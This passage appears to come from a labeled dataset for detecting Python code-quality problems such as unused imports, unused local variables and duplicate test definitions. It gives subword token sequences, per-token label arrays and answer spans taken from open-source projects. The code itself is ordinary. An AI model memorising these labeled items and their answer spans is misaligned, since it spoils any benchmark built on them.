"assert", "Failure_", "(_", "self_", "._", "coll_", "._", "save_", "(_", "123_", ")_", ",_", "Type", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "self_", "._", "coll_", "._", "save_", "(_", "{_", "'", "x", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oid_", "=_", "Object", "Id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "self_", "._", "coll_", "._", "save_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "oid_", ",_", "'", "x", "'_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "self_", "._", "coll_", "._", "save_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "oid_", ",_", "'", "x", "'_", ":_", "3_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docs_", "=_", "yield_", "self_", "._", "coll_", "._", "find_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "any_", "(_", "doc_", "[_", "'", "x", "'_", "]_", "==_", "1_", "for_", "doc_", "in_", "docs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "oid_", ",_", "'", "x", "'_", ":_", "3_", "}_", "in_", "docs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Remove_", "(_", "\\u", "Sing", "le", "Collecti", "on", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "Remove", "One_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "docs_", "=_", "[_", "{_", "'", "x", "'_", ":_", "42_", "}_", ",_", "{_", "'", "x", "'_", ":_", "123_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "self_", "._", "coll_", "._", "insert_", "(_", "docs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "self_", "._", "coll_", "._", "remove_", "(_", "{_", "}_", ",_", "single_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "remaining_", "=_", "yield_", "self_", "._", "coll_", "._", "find_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "remaining_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "remaining_", "[_", "0_", "]_", "in_", "docs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Map", "Reduce", "_", "(_", "\\u", "Sing", "le", "Collecti", "on", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "Map", "Reduce", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "._", "coll_", "._", "insert_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Joh", "n", "\"_", ",_", "\"", "grade", "\"_", ":_", "5_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Kat", "e", "\"_", ",_", "\"", "grade", "\"_", ":_", "4_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Joh", "n", "\"_", ",_", "\"", "grade", "\"_", ":_", "4_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Kat", "e", "\"_", ",_", "\"", "grade", "\"_", ":_", "4_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Adam", "\"_", ",_", "\"", "grade", "\"_", ":_", "4_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Kat", "e", "\"_", ",_", "\"", "grade", "\"_", ":_", "2_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "kid", "\"_", ":_", "\"", "Joh", "n", "\"_", ",_", "\"", "grade", "\"_", ":_", "5_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t", "\\u", "map_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "function", " ", "()", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "emit", "(", "this", ".", "kid", ",", " ", "this", ".", "grade", ");", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t", "\\u", "reduce_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "function", " ", "(", "key", ",", " ", "values", ")", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "Array", ".", "sum", "(", "values", ");", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "coll_", "._", "map", "\\u", "reduce_", "(_", "t", "\\u", "map_", ",_", "t", "\\u", "reduce_", ",_", "out_", "=_", "{_", "\"", "inline", "\"_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "result_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "\"", "Joh", "n", "\"_", ",_", "\"", "value", "\"_", ":_", "14_", "}_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "\"", "Kat", "e", "\"_", ",_", "\"", "value", "\"_", ":_", "10_", "}_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "\"", "Adam", "\"_", ",_", "\"", "value", "\"_", ":_", "4_", "}_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "yield_", "self_", "._", "coll_", "._", "map", "\\u", "reduce_", "(_", "t", "\\u", "map_", ",_", "t", "\\u", "reduce_", ",_", "out_", "=_", "{_", "\"", "inline", "\"_", ":_", "1_", "}_", ",_", "full", "\\u", "response_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "result_", "[_", "\"", "ok", "\"_", "]_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "count", "s", "\"_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "results", "\"_", "in_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
hltbra/pycukes/pycukes/__init__.py
[ { "content": "from runner import StoryRunner\nfrom finder import (find_steps_modules,\n find_text_specs,\n find_before_all,\n find_after_all,\n find_before_each,\n find_after_each)\nfrom hooks import BeforeAll, AfterAll, BeforeEach, AfterEach\nfrom console import pycukes_console\nfrom pyhistorian import Given, When, Then, DadoQue, Quando, Entao\nimport console\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from runner import StoryRunner", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 30 }, { "span": "from finder import (find_steps_modules,\n find_text_specs,\n find_before_all,\n find_after_all,\n find_before_each,\n find_after_each)", "start_line": 1, "start_column": 0, "end_line": 6, "end_column": 36 }, { "span": "from hooks import BeforeAll, AfterAll, BeforeEach, AfterEach", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 60 }, { "span": "from console import pycukes_console", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 35 }, { "span": "from pyhistorian import Given, When, Then, DadoQue, Quando, Entao", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 65 }, { "span": "import console", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "runner_", "import_", "Stor", "y", "Runner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "finder_", "import_", "(_", "find", "\\u", "step", "s", "\\u", "modules_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "find", "\\u", "text", "\\u", "specs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "find", "\\u", "bef", "ore", "\\u", "all_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "find", "\\u", "after", "\\u", "all_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "find", "\\u", "bef", "ore", "\\u", "each_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "find", "\\u", "after", "\\u", "each_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "hooks_", "import_", "Be", "fore", "All_", ",_", "Af", "ter", "All_", ",_", "Be", "fore", "Ea", "ch_", ",_", "Af", "ter", "Ea", "ch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "console_", "import_", "pyc", "uk", "es", "\\u", "console_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyh", "isto", "rian", "_", "import_", "Give", "n_", ",_", "Whe", "n_", ",_", "The", "n_", ",_", "Da", "do", "Que", "_", ",_", "Qua", "ndo", "_", ",_", "Ent", "ao_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "console_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1 ]
Unused local variable
jonathanslenders/pymux/pymux/darwin.py
[ { "content": "def get_proc_info(pid):\n \"\"\"\n Use sysctl to retrieve process info.\n \"\"\"\n # Ensure that we have the DLL loaded.\n _init()\n\n # Request the length of the process data.\n mib = (c_uint * 4)(CTL_KERN, KERN_PROC, KERN_PROC_PID, pid)\n oldlen = c_ulong()\n oldlenp = pointer(oldlen)\n r = LIBC.sysctl(mib, len(mib), None, oldlenp, None, 0)\n if r:\n return\n\n # Request the process data.\n reslen = oldlen.value\n old = (c_ubyte * reslen)()\n oldp = pointer(old)\n r = LIBC.sysctl(mib, len(mib), old, oldlenp, None, 0)\n if r:\n return\n #assert oldlen.value <= reslen\n\n return old[:reslen]", "metadata": "root.get_proc_info", "header": "['module', '___EOS___']", "index": 48 } ]
[ { "span": "oldp ", "start_line": 66, "start_column": 4, "end_line": 66, "end_column": 8 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "proc", "\\u", "info_", "(_", "pid_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "sysc", "tl", " ", "to", " ", "retrieve", " ", "process", " ", "info", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ensur", "e", " ", "tha", "t", " ", "we", " ", "have", " ", "the", " ", "DLL", " ", "load", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Request", " ", "the", " ", "length", " ", "of", " ", "the", " ", "process", " ", "data", "._", "\\u\\u\\uNL\\u\\u\\u_", "mib", "_", "=_", "(_", "c\\u", "uint_", "*_", "4_", ")_", "(_", "CTL", "\\u", "KERN", "_", ",_", "KERN", "\\u", "PROC", "_", ",_", "KERN", "\\u", "PROC", "\\u", "PID_", ",_", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "len_", "=_", "c\\u", "ulong_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "len", "p_", "=_", "pointer_", "(_", "old", "len_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "LIB", "C_", "._", "sysc", "tl_", "(_", "mib", "_", ",_", "len_", "(_", "mib", "_", ")_", ",_", "None_", ",_", "old", "len", "p_", ",_", "None_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Request", " ", "the", " ", "process", " ", "data", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res", "len_", "=_", "old", "len_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old_", "=_", "(_", "c\\u", "ubyte_", "*_", "res", "len_", ")_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oldp", "_", "=_", "pointer_", "(_", "old_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "LIB", "C_", "._", "sysc", "tl_", "(_", "mib", "_", ",_", "len_", "(_", "mib", "_", ")_", ",_", "old_", ",_", "old", "len", "p_", ",_", "None_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "assert", " ", "old", "len", ".", "value", " ", "<=", " ", "res", "len_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "old_", "[_", ":_", "res", "len_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
programa-stic/barf-project/barf/tests/arch/x86/test_x86translator.py
[ { "content": " def test_idiv_3(self):\n asm = [\"idiv ebx\"]\n\n ctx_init = {\n 'rax' : 0xFFFFFFFFFFFFFFFE,\n 'rbx' : 0xFFFFFFFFFFFFFFFF,\n 'rdx' : 0xFFFFFFFFFFFFFFFF,\n 'rflags' : 0x202,\n }\n\n x86_ctx_out, reil_ctx_out = self.__run_code(asm, 0xdeadbeef, ctx_init)\n\n # Undefined flags...\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"cf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"of\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"sf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"zf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"af\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"pf\")\n\n cmp_result = self.__compare_contexts(ctx_init, x86_ctx_out, reil_ctx_out)\n\n if not cmp_result:\n self.__save_failing_context(ctx_init)\n\n self.assertTrue(cmp_result, self.__print_contexts(ctx_init, x86_ctx_out, reil_ctx_out))", "metadata": "root.X86TranslationTests.test_idiv_3", "header": "['class', 'X86TranslationTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 454 }, { "content": " def test_idiv_3(self):\n asm = [\"idiv ebx\"]\n\n ctx_init = {\n 'rax' : 0xFFFFFFFFFFFFFFFE,\n 'rbx' : 0xFFFFFFFFFFFFFFFF,\n 'rdx' : 0xFFFFFFFFFFFFFFFF,\n 'rflags' : 0x202,\n }\n\n x86_ctx_out, reil_ctx_out = self.__run_code(asm, 0xdeadbeef, ctx_init)\n\n # Undefined flags...\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"cf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"of\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"sf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"zf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"af\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"pf\")\n\n cmp_result = self.__compare_contexts(ctx_init, x86_ctx_out, reil_ctx_out)\n\n if not cmp_result:\n self.__save_failing_context(ctx_init)\n\n self.assertTrue(cmp_result, self.__print_contexts(ctx_init, x86_ctx_out, reil_ctx_out))", "metadata": "root.X86TranslationTests.test_idiv_3", "header": "['class', 'X86TranslationTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 481 } ]
[ { "span": "test_idiv_3(", "start_line": 454, "start_column": 8, "end_line": 454, "end_column": 19 } ]
[ { "span": "test_idiv_3(", "start_line": 481, "start_column": 8, "end_line": 481, "end_column": 19 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "X", "86", "Translat", "ion", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "idi", "v", "\\u", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "asm_", "=_", "[_", "\"", "idi", "v", " ", "eb", "x", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx", "\\u", "init_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rax", "'_", ":_", "0xFFFFFFFF", "FFFFFFF", "E_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rb", "x", "'_", ":_", "0xFFFFFFFF", "FFFFFFF", "F_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rd", "x", "'_", ":_", "0xFFFFFFFF", "FFFFFFF", "F_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rfl", "ags", "'_", ":_", "0x20", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "run", "\\u", "code_", "(_", "asm_", ",_", "0xd", "ead", "beef", "_", ",_", "ctx", "\\u", "init_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Unde", "fined", " ", "flags", "..._", "\\u\\u\\uNL\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "cf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "of", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "sf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "zf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "af", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", "\\u\\u", "fix", "\\u", "rei", "l\\u", "flag_", "(_", "rei", "l\\u", "ctx", "\\u", "out_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "\"", "pf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmp", "\\u", "result_", "=_", "self_", "._", "\\u\\u", "compare", "\\u", "contexts_", "(_", "ctx", "\\u", "init_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "rei", "l\\u", "ctx", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "cmp", "\\u", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "save", "\\u", "faili", "ng", "\\u", "context_", "(_", "ctx", "\\u", "init_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "cmp", "\\u", "result_", ",_", "self_", "._", "\\u\\u", "print", "\\u", "contexts_", "(_", "ctx", "\\u", "init_", ",_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "rei", "l\\u", "ctx", "\\u", "out_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "X", "86", "Translat", "ion", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "idi", "v", "\\u", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "asm_", "=_", "[_", "\"", "idi", "v", " ", "eb", "x", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx", "\\u", "init_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rax", "'_", ":_", "0xFFFFFFFF", "FFFFFFF", "E_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rb", "x", "'_", ":_", "0xFFFFFFFF", "FFFFFFF", "F_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rd", "x", "'_", ":_", "0xFFFFFFFF", "FFFFFFF", "F_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rfl", "ags", "'_", ":_", "0x20", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x8", "6", "\\u", "ctx", "\\u", "out_", ",_", "rei", "l\\u", "ctx", "\\u", "out_", "=_", "self_", "._", 